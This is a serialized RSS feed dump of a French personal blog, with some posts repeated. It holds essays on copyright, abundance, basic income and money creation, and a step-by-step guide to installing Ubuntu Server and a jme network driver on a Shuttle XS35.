Nous sommes donc dans une situation très étonnante : le partage et la diffusion illimitée sont dans l’intérêt à la fois des auteurs et du public, mais les échanges sont volontairement restreints (par la loi) à cause d’un problème économique. C’est donc l’économie qui empêche des échanges, que rien ne limiterait par ailleurs. N’y voyez-vous pas un paradoxe ?

L’économie


L’économie a pour objectif de résoudre les problèmes de rareté auxquels la société doit faire face. Pour cela, elle valorise ce qui est rare – c’est-à-dire un produit ou un service dont la demande est supérieure à l’offre – pour inciter les entreprises à mettre en œuvre des moyens de production répondant à ce besoin. A priori, c’est un mécanisme pertinent : les besoins de la population sont ainsi satisfaits au mieux, en privilégiant la production de ce qui est insuffisant.

Mais que se passe-t-il lorsque les problèmes de rareté sont résolus dans un domaine ? Tant mieux, pensons-nous, le but de l’économie est atteint, nous avons réussi. Nous pouvons alors augmenter la liberté de la population en réduisant leur dépendance vis-à-vis d’intermédiaires devenus inutiles, en rendant les moyens de production et de reproduction accessibles à tous. Mais paradoxalement, comme l’objectif est atteint, nous ne pouvons plus gagner d’argent. C’est simple : une demande limitée, une offre illimitée et un coût marginal nul impliquent un prix nul.

Comment faire fonctionner l’économie dans ce cas ? La demande est limitée, nous pouvons tenter de l’augmenter (éventuellement grâce à l’obsolescence programmée). Mais surtout nous devons empêcher que l’offre soit illimitée, en enlevant (par la loi ou par la technique) les moyens de (re)production des mains de la population, pour rendre le coût marginal non nul (obliger à faire payer chaque instance du produit en passant par un intermédiaire forcé). Il faut alors restreindre pour faire du bénéfice (cette règle est aussi valable pour le réseau Internet lui-même).

Pour gagner de l’argent, il nous faut donc lutter contre notre objectif : l’abondance. Et vu qu’il faut gagner de l’argent pour vivre, il est vital d’aller à l’encontre de ce qui est bénéfique pour la société. N’est-ce pas absurde ?

C’est la raison pour laquelle je suis convaincu qu’une partie des échanges doit être hors-marché. Je pense que nous devrions réserver l’économie aux domaines où elle fonctionne, lorsqu’elle améliore la société, c’est-à-dire quand nous devons gérer la rareté. Le reste des échanges – lorsqu’il y a abondance – doit être hors-marché, car sinon l’économie tenterait d’y restaurer une rareté artificielle. Certains réfléchissent aussi à des monnaies d’abondance.

Les domaines d’abondance


L’arrivée du numérique a de facto rendu tout ce qui est immatériel abondant. La musique est le premier domaine à avoir massivement profité de cette amélioration technologique, suivie par les films, les jeux vidéos, les livres, l’information, etc. Les industries travaillant dans ces domaines d’activité ont toutes un point commun : leurs modèles économiques sont en train de s’effondrer.

Mais ce progrès ne devrait pas s’arrêter à l’immatériel : une seconde vague d’abondance pourrait bien accélérer le processus d’évolution de la société : l’autofabrication à portée de tous (par exemple l’impression 3D) permettra potentiellement à chaque foyer de posséder sa propre usine miniature à faible coût. Beaucoup d’entreprises pourront mettre la clé sous la porte : pourquoi j’irai acheter une chaise dans un magasin si je peux la télécharger et « l’imprimer » chez moi ?

Dans une génération, on sera bien en peine d’expliquer à nos petits-enfants comment on a pu vivre sans son autofabricateur, et qu’on devait commander des biens préfabriqués en ligne et attendre qu’ils nous arrivent dans notre boîte aux lettres livrés par la Poste.

Cette prospérité est inéluctable. Mais surtout, et je voudrais insister là-dessus, elle est souhaitable. Comment en sommes-nous arrivé à croire le contraire ? La question ne devrait pas être de savoir si oui ou non il faut tolérer le partage de fichiers, mais au contraire comment faire pour l’encourager.

Corriger le problème économique

L’équilibre entre l’abondance et la rareté évolue. Dans un monde de rareté, l’économie peut fonctionner. Dans un monde d’abondance absolue, l’économie telle que nous la connaissons serait contre-productive, et à la limite il n’y aurait pas besoin d’argent (aurions-nous inventé l’argent si rien n’était rare ?). Mais le problème se pose lorsque le monde est composé à la fois de domaines d’abondance et de rareté : pourquoi les personnes travaillant dans un domaine d’abondance ne pourraient-elles pas gagner d’argent, alors que celles travaillant dans un domaine de rareté le pourraient ?

Quelles sont les solutions envisagées pour le résoudre ? En voici cinq (peut-être y en a-t-il d’autres).

La rareté imposée

La première, c’est d’imposer par la loi ou par la technique la rareté, pour lutter au maximum contre l’abondance des choses. C’est la solution envisagée par beaucoup de lois actuelles (Hadopi en France), souvent écrites par les lobbies des entreprises qui bénéficient de cette rareté. Sans commentaire.

Les profits indirects

La deuxième consiste à bénéficier de l’abondance pour atteindre un public plus important. Typiquement, un chanteur rend sa musique accessible à tous, cela contribuera à le faire connaître et lui permettra d’attirer plus de monde à ses concerts. L’idée est séduisante, mais elle ne s’applique pas à tous les domaines (il serait par exemple difficile pour un écrivain d’obtenir des profits indirects). Néanmoins, même si elle est insuffisante, cette solution est naturellement plébiscitée lorsque c’est possible.

La contribution créative

La troisième est une contribution forfaitaire, appelée contribution créative (plus connue sous le nom de licence globale), versée mensuellement par chaque internaute. Philippe Aigrain détaille cette proposition dans son livre Internet & Création. Elle possède un atout majeur : autoriser et favoriser les échanges hors-marché.

Néanmoins, j’émets quelques doutes : je la considère comme une solution temporaire. En effet, si le calcul prend en compte les médias (musique, films, livres…), toute forme de création (présente et future) n’est pas concernée, comme par exemple les logiciels libres. Sans parler de la future duplication des objets matériels évoquée plus haut.

De plus, elle ne prend pas en compte l’augmentation de la diversité : plus il y a d’auteurs, moins chaque auteur sera rémunéré.

Enfin, ce mécanisme induit nécessairement une centralisation : chaque auteur devrait adhérer à une gestion collective, et nous devrions mesurer la proportion des échanges pour redistribuer la cagnotte à chacun. Je suis a priori réticent face à une telle centralisation (mais pourquoi pas ?).

Le don

Une autre solution est la rémunération par le don. Le principe est simple : chaque œuvre est accessible à tous, ceux qui ont apprécié peuvent rémunérer l’auteur. Ce mécanisme peut sembler bien limité : le montant récolté sera probablement insuffisant, et utilisé seul, l’incertitude de revenu ne favoriserait pas la pratique d’activités non marchandes.

Cependant, ce système de rémunération est intéressant, car il favorise les échanges hors-marché tout en permettant une rétribution de l’auteur, sans centralisation.

Le revenu de base

Enfin, la solution que je trouve la plus séduisante est le revenu de base, un revenu versé inconditionnellement à chacun et suffisant pour vivre.

Une fois ce revenu garanti, certains ne s’épanouiraient-ils pas dans des domaines moins rémunérateurs, mais davantage bénéfiques pour tout le monde ? D’autant que ce n’est pas l’argent qui nous motive vraiment dans le travail (encore faut-il en avoir suffisamment pour vivre).

Ne croyez-vous pas qu’un frein majeur au développement des logiciels libres (par définition copiables, donc abondants) soit justement la nécessité de gagner de l’argent sur la rareté ? Bien sûr, il est possible d’être rémunéré indirectement, par les services, le support… Mais est-ce suffisant ? Les entreprises sont même parfois contraintes de financer le logiciel libre par le logiciel propriétaire

Par ailleurs, dans le domaine de l’information où l’indépendance est capitale, ce revenu de base s’ajoutant aux autres sources de financement pourrait contribuer à réduire la dépendance économique des journalistes.

Ce ne sont que quelques arguments en faveur du revenu de base. J’en développe d’autres dans mon billet consacré au dividende universel, et je détaille l’injustice monétaire, un argument central justifiant sa mise en place.

À propos de la monnaie justement, le don est actuellement découragé à cause de la structure centralisée du système monétaire. Je pense qu’une monnaie à dividende universel permettrait de faciliter cette forme de rémunération supplémentaire…

Je suis persuadé que cette proposition est au moins une partie de la solution au problème économique de l’abondance. Je regrette qu’elle soit si peu évoquée dans les débats sur le droit d’auteur.

Conclusion

Je souhaite que le libre partage de la culture, de la connaissance, et plus généralement de tous les biens non-rivaux soit légalisé. Non pas pour quémander un droit qui serait illégitime, mais au contraire parce que je pense que c’est une évolution nécessaire et positive pour la société. En particulier, l’utilisation non-commerciale d’une œuvre devrait être un droit du public non contestable par l’auteur.

Nous ne pouvons accepter le seul argument économique pour justifier de lutter contre l’abondance, alors même que l’économie a pour objectif de résoudre des problèmes de rareté. Nous devons au contraire mettre en place un système qui assure la subsistance de chacun et qui favorise le partage et l’abondance.

";s:7:"dateiso";s:15:"20110608_104237";}s:15:"20110608_084237";a:7:{s:5:"title";s:30:"L'abondance contre l'économie";s:4:"link";s:57:"http://blog.rom1v.com/2011/06/labondance-contre-leconomie";s:4:"guid";s:57:"http://blog.rom1v.com/2011/06/labondance-contre-leconomie";s:7:"pubDate";s:25:"2011-06-08T08:42:37+02:00";s:11:"description";s:0:"";s:7:"content";s:16741:"

copying is not theft

Le droit d’auteur sur Internet

Les lois répressives pour défendre le droit d’auteur sont justifiées par une règle que certains jugent incontestable : un auteur a le droit de décider la manière dont son œuvre sera diffusée. S’il ne souhaite pas rendre son œuvre disponible autrement que par les canaux de diffusion qu’il aura choisis, c’est son choix.

Pourtant, un auteur ne peut pas avoir tous les droits, certains droits sont nécessaires pour le public. Par exemple, ce n’est pas parce que c’est son œuvre (laissons ici de côté la part dont il redevable aux créateurs précédents) qu’il peut interdire à la population d’y penser, d’en parler, de la critiquer, etc. Pour quelle raison devrait-il pouvoir interdire son utilisation non-commerciale ?

La réponse qui vient à l’esprit est évidente, c’est le raisonnement de ceux qui sont favorables à l’interdiction du partage : un artiste, comme toute autre personne, a le droit de vivre de son travail. Si tout le monde peut accéder aux œuvres de manière illimitée et gratuite, alors, disent-ils, l’artiste ne pourra plus vendre son travail.

Ceux qui sont favorables à la légalisation du partage de fichiers leur répondront que ceux qui téléchargent le plus sont ceux qui achètent le plus, que de nouveaux modèles économiques sont nécessaires, qu’une meilleure diffusion augmente la notoriété de l’artiste, qui pourra ainsi attirer plus de monde à ses concerts, etc. Mais surtout, bien avant les arguments économiques, ils défendent ce qu’ils jugent meilleur pour la société.

En effet, pour la société, la culture a tout à gagner à être abondante et accessible à tous. Le problème est que sa “valeur marchande” diminue lorsque son abondance augmente. La dématérialisation permet la surabondance : tout le monde peut partager et copier indéfiniment et gratuitement. Nous ne pouvons pas rêver mieux si nous défendons l’abondance.

Par contre, si nous nous concentrons sur la valeur marchande, nous en concluons que l’abondance ruine la culture, car alors il n’est pas possible de la faire payer. Ainsi nous nous lançons dans une guerre contre le partage pour restaurer une rareté propice à satisfaire une demande solvable, au nom des intérêts supposés des auteurs (et surtout des ayant-droits).

Il semble donc y avoir une opposition directe entre l’intérêt des auteurs et celui de la société. Si nous devions choisir entre les deux, nous pourrions nous inspirer de la pensée de Victor Hugo :

Le livre, comme livre, appartient à l’auteur, mais comme pensée, il appartient – le mot n’est pas trop vaste – au genre humain. Toutes les intelligences y ont droit. Si l’un des deux droits, le droit de l’écrivain et le droit de l’esprit humain, devait être sacrifié, ce serait, certes, le droit de l’écrivain, car l’intérêt public est notre préoccupation unique, et tous, je le déclare, doivent passer avant nous.

Mais ces intérêts sont-ils réellement en conflit ? Et pourquoi ?

Une restriction étrange

La diffusion sans restriction de la culture et de la connaissance est sans conteste bénéfique pour la société. Mais est-elle bénéfique pour les auteurs ? Sans aucun doute : rendre accessible à davantage de personnes leurs œuvres sans aucun coût ni travail supplémentaire leur est profitable. La seule condition pour eux est d’obtenir les moyens de leur subsistance (ce que de toute façon, pour la plupart, les droits d’auteur ne leur permettent pas dans le système actuel).

Nous sommes donc dans une situation très étonnante : le partage et la diffusion illimitée sont dans l’intérêt à la fois des auteurs et du public, mais les échanges sont volontairement restreints (par la loi) à cause d’un problème économique. C’est donc l’économie qui empêche des échanges, que rien ne limiterait par ailleurs. N’y voyez-vous pas un paradoxe ?

L’économie

L’économie a pour objectif de résoudre les problèmes de rareté auxquels la société doit faire face. Pour cela, elle valorise ce qui est rare – c’est-à-dire un produit ou un service dont la demande est supérieure à l’offre – pour inciter les entreprises à mettre en œuvre des moyens de production répondant à ce besoin. A priori, c’est un mécanisme pertinent : les besoins de la population sont ainsi satisfaits au mieux, en privilégiant la production de ce qui est insuffisant.

Mais que se passe-t-il lorsque les problèmes de rareté sont résolus dans un domaine ? Tant mieux, pensons-nous, le but de l’économie est atteint, nous avons réussi. Nous pouvons alors augmenter la liberté de la population en réduisant leur dépendance vis-à-vis d’intermédiaires devenus inutiles, en rendant les moyens de production et de reproduction accessibles à tous. Mais paradoxalement, comme l’objectif est atteint, nous ne pouvons plus gagner d’argent. C’est simple : une demande limitée, une offre illimitée et un coût marginal nul impliquent un prix nul.

Comment faire fonctionner l’économie dans ce cas ? La demande est limitée, nous pouvons tenter de l’augmenter (éventuellement grâce à l’obsolescence programmée). Mais surtout nous devons empêcher que l’offre soit illimitée, en enlevant (par la loi ou par la technique) les moyens de (re)production des mains de la population, pour rendre le coût marginal non nul (obliger à faire payer chaque instance du produit en passant par un intermédiaire forcé). Il faut alors restreindre pour faire du bénéfice (cette règle est aussi valable pour le réseau Internet lui-même).

Pour gagner de l’argent, il nous faut donc lutter contre notre objectif : l’abondance. Et vu qu’il faut gagner de l’argent pour vivre, il est vital d’aller à l’encontre de ce qui est bénéfique pour la société. N’est-ce pas absurde ?

C’est la raison pour laquelle je suis convaincu qu’une partie des échanges doit être hors-marché. Je pense que nous devrions réserver l’économie aux domaines où elle fonctionne, lorsqu’elle améliore la société, c’est-à-dire quand nous devons gérer la rareté. Le reste des échanges – lorsqu’il y a abondance – doit être hors-marché, car sinon l’économie tenterait d’y restaurer une rareté artificielle. Certains réfléchissent aussi à des monnaies d’abondance.

Les domaines d’abondance

L’arrivée du numérique a de facto rendu tout ce qui est immatériel abondant. La musique est le premier domaine à avoir massivement profité de cette amélioration technologique, suivie par les films, les jeux vidéos, les livres, l’information, etc. Les industries travaillant dans ces domaines d’activité ont toutes un point commun : leurs modèles économiques sont en train de s’effondrer.

Mais ce progrès ne devrait pas s’arrêter à l’immatériel : une seconde vague d’abondance pourrait bien accélérer le processus d’évolution de la société : l’autofabrication à portée de tous (par exemple l’impression 3D) permettra potentiellement à chaque foyer de posséder sa propre usine miniature à faible coût. Beaucoup d’entreprises pourront mettre la clé sous la porte : pourquoi j’irai acheter une chaise dans un magasin si je peux la télécharger et “l’imprimer” chez moi ?

Dans une génération, on sera bien en peine d’expliquer à nos petits-enfants comment on a pu vivre sans son autofabricateur, et qu’on devait commander des biens préfabriqués en ligne et attendre qu’ils nous arrivent dans notre boîte aux lettres livrés par la Poste.

Cette prospérité est inéluctable. Mais surtout, et je voudrais insister là-dessus, elle est souhaitable. Comment en sommes-nous arrivé à croire le contraire ? La question ne devrait pas être de savoir si oui ou non il faut tolérer le partage de fichiers, mais au contraire comment faire pour l’encourager.

Corriger le problème économique

L’équilibre entre l’abondance et la rareté évolue. Dans un monde de rareté, l’économie peut fonctionner. Dans un monde d’abondance absolue, l’économie telle que nous la connaissons serait contre-productive, et à la limite il n’y aurait pas besoin d’argent (aurions-nous inventé l’argent si rien n’était rare ?). Mais le problème se pose lorsque le monde est composé à la fois de domaines d’abondance et de rareté : pourquoi les personnes travaillant dans un domaine d’abondance ne pourraient-elles pas gagner d’argent, alors que celles travaillant dans un domaine de rareté le pourraient ?

Quelles sont les solutions envisagées pour le résoudre ? En voici cinq (peut-être y en a-t-il d’autres).

La rareté imposée

La première, c’est d’imposer par la loi ou par la technique la rareté, pour lutter au maximum contre l’abondance des choses. C’est la solution envisagée par beaucoup de lois actuelles (Hadopi en France), souvent écrites par les lobbies des entreprises qui bénéficient de cette rareté. Sans commentaire.

Les profits indirects

La deuxième consiste à bénéficier de l’abondance pour atteindre un public plus important. Typiquement, un chanteur rend sa musique accessible à tous, cela contribuera à le faire connaître et lui permettra d’attirer plus de monde à ses concerts. L’idée est séduisante, mais elle ne s’applique pas à tous les domaines (il serait par exemple difficile pour un écrivain d’obtenir des profits indirects). Néanmoins, même si elle est insuffisante, cette solution est naturellement plébiscitée lorsque c’est possible.

La contribution créative

La troisième est une contribution forfaitaire, appelée contribution créative (plus connue sous le nom de licence globale), versée mensuellement par chaque internaute. Philippe Aigrain détaille cette proposition dans son livre Internet & Création. Elle possède un atout majeur : autoriser et favoriser les échanges hors-marché.

Néanmoins, j’émets quelques doutes : je la considère comme une solution temporaire. En effet, si le calcul prend en compte les médias (musique, films, livres…), toute forme de création (présente et future) n’est pas concernée, comme par exemple les logiciels libres. Sans parler de la future duplication des objets matériels évoquée plus haut.

De plus, elle ne prend pas en compte l’augmentation de la diversité : plus il y a d’auteurs, moins chaque auteur sera rémunéré.

Enfin, ce mécanisme induit nécessairement une centralisation : chaque auteur devrait adhérer à une gestion collective, et nous devrions mesurer la proportion des échanges pour redistribuer la cagnotte à chacun. Je suis a priori réticent face à une telle centralisation (mais pourquoi pas ?).

Le don

Une autre solution est la rémunération par le don. Le principe est simple : chaque œuvre est accessible à tous, ceux qui ont apprécié peuvent rémunérer l’auteur. Ce mécanisme peut sembler bien limité : le montant récolté sera probablement insuffisant, et utilisé seul, l’incertitude de revenu ne favoriserait pas la pratique d’activités non marchandes.

Cependant, ce système de rémunération est intéressant, car il favorise les échanges hors-marché tout en permettant une rétribution de l’auteur, sans centralisation.

Le revenu de base

Enfin, la solution que je trouve la plus séduisante est le revenu de base, un revenu versé inconditionnellement à chacun et suffisant pour vivre.

Une fois ce revenu garanti, certains ne s’épanouiraient-ils pas dans des domaines moins rémunérateurs, mais davantage bénéfiques pour tout le monde ? D’autant que ce n’est pas l’argent qui nous motive vraiment dans le travail (encore faut-il en avoir suffisamment pour vivre).

Ne croyez-vous pas qu’un frein majeur au développement des logiciels libres (par définition copiables, donc abondants) soit justement la nécessité de gagner de l’argent sur la rareté ? Bien sûr, il est possible d’être rémunéré indirectement, par les services, le support… Mais est-ce suffisant ? Les entreprises sont même parfois contraintes de financer le logiciel libre par le logiciel propriétaire

Par ailleurs, dans le domaine de l’information où l’indépendance est capitale, ce revenu de base s’ajoutant aux autres sources de financement pourrait contribuer à réduire la dépendance économique des journalistes.

Ce ne sont que quelques arguments en faveur du revenu de base. J’en développe d’autres dans mon billet consacré au dividende universel, et je détaille l’injustice monétaire, un argument central justifiant sa mise en place.

À propos de la monnaie justement, le don est actuellement découragé à cause de la structure centralisée du système monétaire. Je pense qu’une monnaie à dividende universel permettrait de faciliter cette forme de rémunération supplémentaire…

Je suis persuadé que cette proposition est au moins une partie de la solution au problème économique de l’abondance. Je regrette qu’elle soit si peu évoquée dans les débats sur le droit d’auteur.

Conclusion

Je souhaite que le libre partage de la culture, de la connaissance, et plus généralement de tous les biens non-rivaux soit légalisé. Non pas pour quémander un droit qui serait illégitime, mais au contraire parce que je pense que c’est une évolution nécessaire et positive pour la société. En particulier, l’utilisation non-commerciale d’une œuvre devrait être un droit du public non contestable par l’auteur.

Nous ne pouvons accepter le seul argument économique pour justifier de lutter contre l’abondance, alors même que l’économie a pour objectif de résoudre des problèmes de rareté. Nous devons au contraire mettre en place un système qui assure la subsistance de chacun et qui favorise le partage et l’abondance.

";s:7:"dateiso";s:15:"20110608_084237";}s:15:"20110607_002148";a:7:{s:5:"title";s:43:"Installer Ubuntu Server sur un Shuttle XS35";s:4:"link";s:74:"http://blog.rom1v.com/2011/06/installer-ubuntu-server-sur-un-shuttle-xs35/";s:4:"guid";s:29:"http://blog.rom1v.com/?p=2384";s:7:"pubDate";s:31:"Mon, 06 Jun 2011 22:21:48 +0000";s:11:"description";s:419:"Je viens de migrer mon auto-hébergement vers cette nouvelle machine. Elle est très silencieuse (il n’y a pas de ventilateur) et consomme peu. Je n’envisageais pas d’écrire un billet, mais l’installation d’Ubuntu Server 11.04 ne se déroule pas sans incidents : Aucune interface réseau n’a été détectée C’est le genre de problèmes qu’on espère un jour [...]";s:7:"content";s:4368:"

Je viens de migrer mon auto-hébergement vers cette nouvelle machine. Elle est très silencieuse (il n’y a pas de ventilateur) et consomme peu.

Je n’envisageais pas d’écrire un billet, mais l’installation d’Ubuntu Server 11.04 ne se déroule pas sans incidents :

Aucune interface réseau n’a été détectée

C’est le genre de problèmes qu’on espère un jour ne plus connaître lorsqu’on installe une distribution… Surtout lorsque ce problème en provoque d’autres… Ceci est donc un aide-mémoire qui me sera utile pour une future installation.

Installation

Tout d’abord, il faut ignorer le message d’erreur, tant pis, l’installation sera effectuée sans réseau.

Ensuite la section Choisir et installer des logiciels, il ne faut surtout pas activer Mail (postfix et dovecot) dans la liste : cela ferait planter le processus d’installation car il ne trouve pas d’interface réseau. En effet, dans /var/log/syslog, on trouve une erreur du genre :

postfix/sendmail: fatal: could not find any active network interfaces

On installera donc le serveur mail plus tard.

En suivant ces conseils, l’installation doit se dérouler correctement.

Récupération des pilotes

À partir d’un autre ordinateur, récupérer la dernière version des sources du pilote (j’en fait une copie chez moi, au cas où).

Ensuite, on est un peu embêté, car on devrait extraire les sources sur le serveur et exécuter sudo make install. Sauf que make n’est pas installé par défaut sur Ubuntu Server (merci Ubuntu !), et pour l’installer, il faut le réseau… qu’on aura une fois qu’on aura installé les pilotes…

Heureusement, on peut s’en sortir manuellement. Pour cela, sur un ordinateur qui possède make (avec le même noyau pour la même architecture), extraire les sources de l’archive dans un répertoire et exécuter :

tar xvjf jme-1.0.7.1.tbz2
cd jmebp-1.0.7.1
make

Cela crée un fichier jme.ko (je suis gentil, je vous donne le fichier déjà compilé pour le noyau 2.6.38-8-server en amd64). Le copier sur une clé USB.

Installation des pilotes

Ensuite, brancher la clé USB sur le serveur, et déterminer son emplacement (sous la forme /dev/sdX1). Pour cela, (une technique parmi d’autres) juste après l’avoir branchée, exécuter :

tail /var/log/syslog

La commande doit afficher plusieurs lignes ressemblant à ceci :

Jun  6 22:33:19 rom-server kernel: [1046971.365046] sd 12:0:0:0: [sdb] Attached SCSI removable disk

Ici, l’emplacement est donc /dev/sdb1.

Monter donc la clé :

sudo mount /dev/sdb1 /mnt

Puis installer le pilote compilé au bon endroit et l’activer :

sudo install -m 644 /mnt/jme.ko /lib/modules/$(uname -r)/kernel/drivers/net
sudo modprobe jme

Finaliser l’installation

Ajouter à la fin de /etc/network/interfaces :

auto eth0
iface eth0 inet dhcp

Et rebooter :

sudo reboot

Normalement, la carte devrait être détectée (on peut tester avec ifconfig).

Si tout est OK, on peut maintenant installer le serveur mail.

";s:7:"dateiso";s:15:"20110607_002148";}s:15:"20110606_222148";a:7:{s:5:"title";s:43:"Installer Ubuntu Server sur un Shuttle XS35";s:4:"link";s:73:"http://blog.rom1v.com/2011/06/installer-ubuntu-server-sur-un-shuttle-xs35";s:4:"guid";s:73:"http://blog.rom1v.com/2011/06/installer-ubuntu-server-sur-un-shuttle-xs35";s:7:"pubDate";s:25:"2011-06-06T22:21:48+02:00";s:11:"description";s:0:"";s:7:"content";s:4223:"

XS35

Je viens de migrer mon auto-hébergement vers cette nouvelle machine. Elle est très silencieuse (il n’y a pas de ventilateur) et consomme peu.

Je n’envisageais pas d’écrire un billet, mais l’installation d’Ubuntu Server 11.04 ne se déroule pas sans incidents :

Aucune interface réseau n'a été détectée

C’est le genre de problèmes qu’on espère un jour ne plus connaître lorsqu’on installe une distribution… Surtout lorsque ce problème en provoque d’autres… Ceci est donc un aide-mémoire qui me sera utile pour une future installation.

Installation

Tout d’abord, il faut ignorer le message d’erreur, tant pis, l’installation sera effectuée sans réseau.

Ensuite la section Choisir et installer des logiciels, il ne faut surtout pas activer Mail (postfix et dovecot) dans la liste : cela ferait planter le processus d’installation car il ne trouve pas d’interface réseau. En effet, dans /var/log/syslog, on trouve une erreur du genre :

postfix/sendmail: fatal: could not find any active network interfaces

On installera donc le serveur mail plus tard.

En suivant ces conseils, l’installation doit se dérouler correctement.

Récupération des pilotes

À partir d’un autre ordinateur, récupérer la dernière version des sources du pilote (j’en fait une copie chez moi, au cas où).

Ensuite, on est un peu embêté, car on devrait extraire les sources sur le serveur et exécuter sudo make install. Sauf que make n’est pas installé par défaut sur Ubuntu Server (merci Ubuntu !), et pour l’installer, il faut le réseau… qu’on aura une fois qu’on aura installé les pilotes…

Heureusement, on peut s’en sortir manuellement. Pour cela, sur un ordinateur qui possède make (avec le même noyau pour la même architecture), extraire les sources de l’archive dans un répertoire et exécuter :

tar xvjf jme-1.0.7.1.tbz2
cd jmebp-1.0.7.1
make

Cela crée un fichier jme.ko (je suis gentil, je vous donne le fichier déjà compilé pour le noyau 2.6.38-8-server en amd64). Le copier sur une clé USB.

Installation des pilotes

Ensuite, brancher la clé USB sur le serveur, et déterminer son emplacement (sous la forme /dev/sdX1). Pour cela, (une technique parmi d’autres) juste après l’avoir branchée, exécuter :

tail /var/log/syslog

La commande doit afficher plusieurs lignes ressemblant à ceci :

Jun  6 22:33:19 rom-server kernel: [1046971.365046] sd 12:0:0:0: [sdb] Attached SCSI removable disk

Ici, l’emplacement est donc /dev/sdb1.

Monter la clé :

sudo mount /dev/sdb1 /mnt

Puis installer le pilote compilé au bon endroit et l’activer :

sudo install -m 644 /mnt/jme.ko /lib/modules/$(uname -r)/kernel/drivers/net
sudo modprobe jme

Finaliser l’installation

Ajouter à la fin de /etc/network/interfaces :

auto eth0
iface eth0 inet dhcp

Et rebooter :

sudo reboot

Normalement, la carte devrait être détectée (on peut tester avec ifconfig).

Si tout est OK, on peut maintenant installer le serveur mail.

";s:7:"dateiso";s:15:"20110606_222148";}s:15:"20110510_222845";a:7:{s:5:"title";s:24:"L’injustice monétaire";s:4:"link";s:51:"http://blog.rom1v.com/2011/05/linjustice-monetaire/";s:4:"guid";s:29:"http://blog.rom1v.com/?p=2298";s:7:"pubDate";s:31:"Tue, 10 May 2011 20:28:45 +0000";s:11:"description";s:425:"Dans un récent billet, je défendais l’idée d’un dividende universel. Je voudrais maintenant m’attarder sur le problème central à l’origine de cette proposition : le mécanisme actuel de la création monétaire. L’argent e(s)t la dette On parle beaucoup d’une de ses conséquences (surtout en ce moment) : la dette publique. Si nous n’avons aucune idée de son [...]";s:7:"content";s:12660:"

Dans un récent billet, je défendais l’idée d’un dividende universel. Je voudrais maintenant m’attarder sur le problème central à l’origine de cette proposition : le mécanisme actuel de la création monétaire.

L’argent e(s)t la dette

On parle beaucoup d’une de ses conséquences (surtout en ce moment) : la dette publique.

Si nous n’avons aucune idée de son fonctionnement, nous pouvons penser que nous dépensons trop, et qu’il serait bon de songer à rembourser cette fichue dette. Sans explications, devant le compteur de la dette nationale défilant à toute allure en bas d’un écran de télévision pendant un JT, les téléspectateurs croient sans doute qu’une politique de rigueur est nécessaire, car après tout, il est bien naturel rembourser ses dettes. Quelle arnaque ! Si nous remboursions nos dettes, il n’y aurait plus d’argent : l’argent provient de la dette. Au seul bénéfice des banques.

Posez-vous la question : comment est-il possible que nous soyons tous (les ménages, les entreprises, les États) endettés en même temps (certains jusqu’à la « faillite »), alors que nous créons toujours plus de richesses ? Envers qui sommes-nous tous endettés, et pourquoi ?

Création d’argent ex nihilo

Voyons comment tout cela fonctionne.

Pour plus de détails et de sources, suivez les nombreux liens en commentaires.
Ou ce billet : Comprendre le mystère de l’argent et le problème des intérêts manquants.

Lorsqu’une banque accorde un crédit à un client (par exemple pour acheter une maison), elle ne lui prête pas l’argent qu’elle a : elle le crée (par une opération comptable). Le client va ensuite lui rembourser, sur plusieurs années, grâce à sa dure labeur, l’argent qu’elle lui a « prêté », avec des intérêts. Au fur et à mesure du remboursement du principal, l’argent est « détruit » (de la même manière qu’il a été « créé », c’est la raison pour laquelle il n’y aurait plus d’argent si nous remboursions nos dettes), mais il reste les intérêts, qui eux, sont au seul profit de la banque (qui sont des intérêts sur de l’argent qu’elle n’avait pas !). Il n’est d’ailleurs possible de lui payer qu’en récupérant, grâce à son travail, l’argent issu d’autres prêts effectués (indirectement), puisque (presque) tout l’argent vient de la dette. Déjà, l’injustice est flagrante : une banque privée crée de l’argent à son profit à partir du travail des autres, sans rien faire (à part manipuler une base de données).

Mais ce n’est pas tout, en créant de l’argent, la banque augmente la masse monétaire, donc dévalue la monnaie déjà en circulation. L’important, ce n’est pas la valeur que l’on possède en €, c’est la part que cette valeur par rapport à tout l’argent en circulation. Ainsi, augmenter la masse monétaire à son seul profit équivaut à « voler » une (toute petite) part de l’argent que possède chacun. La population, qui ne profite pas de cette création monétaire, doit donc travailler toujours plus pour « récupérer » cet argent et payer des intérêts toujours plus importants à ceux qui le leur prend.

Et globalement, cela pose un problème de remboursement : le total prêté à tous vaut P (le principal), et il faudra rembourser P+I (avec les intérêts). Sauf que lorsque tout l’argent provient du crédit, l’argent des intérêts n’existe pas, il serait impossible de les rembourser maintenant. Ce qui le permet, c’est simplement le décalage dans le temps du remboursement, rendu possible grâce à la croissance (c’est-à-dire lorsqu’il y a plus de nouveaux prêts effectués pour rembourser les anciens). Sans croissance ce système inique s’écroule. Il faut donc une production toujours plus importante uniquement pour « rembourser » (en fait, « donner » serait plus juste) les richesses créées aux banquiers. Ainsi, ceux qui créent les richesses sont endettés envers ceux qui créent l’argent.

Beaucoup s’étonnent des inégalités qui augmentent, et s’en prennent soit aux patrons, soit aux « assistés ». Mais la cause des inégalités, c’est le mécanisme de création monétaire. Il faut que la création monétaire soit distribuée à chacun.

La dette publique

Depuis la réforme de 1973 (loi Rothschild) et son article 25, la France a l’interdiction d’emprunter son argent directement auprès de la banque centrale, sans intérêts. Elle doit donc l’emprunter, avec intérêts, aux banques privées, qui elles, ont le droit de « créer l’argent ».

En 1992, cette règle est inscrite au niveau européen dans l’article 104 du traité de Maastricht (qui est repris par l’article 123 du traité de Lisbonne en 2007) :

Article 104 :
1. Il est interdit à la BCE et aux banques centrales des États membres, ci-après dénommées « banques centrales nationales », d’accorder des découverts ou tout autre type de crédit aux institutions ou organes de la Communauté, aux administrations centrales, aux autorités régionales ou locales, aux autres autorités publiques, aux autres organismes ou entreprises publics des États membres; l’acquisition directe, auprès d’eux, par la BCE ou les banques centrales nationales, des instruments de leur dette est également interdite.
2. Le paragraphe 1 ne s’applique pas aux établissements publics de crédit qui, dans le cadre de la mise à disposition de liquidités par les banques centrales, bénéficient, de la part des banques centrales nationales et de la BCE, du même traitement que les établissements privés de crédit.

Voilà d’où vient la dette qui augmente inexorablement : l’État est obligé d’emprunter son propre argent avec intérêts auprès d’acteurs privés.

Constatez l’évolution de la dette publique avec et sans intérêts depuis 1979 (source) :

Réformes d’austérité

Des réformes sont prévues pour lutter contre les déficits, sans remettre en cause ce système inique.

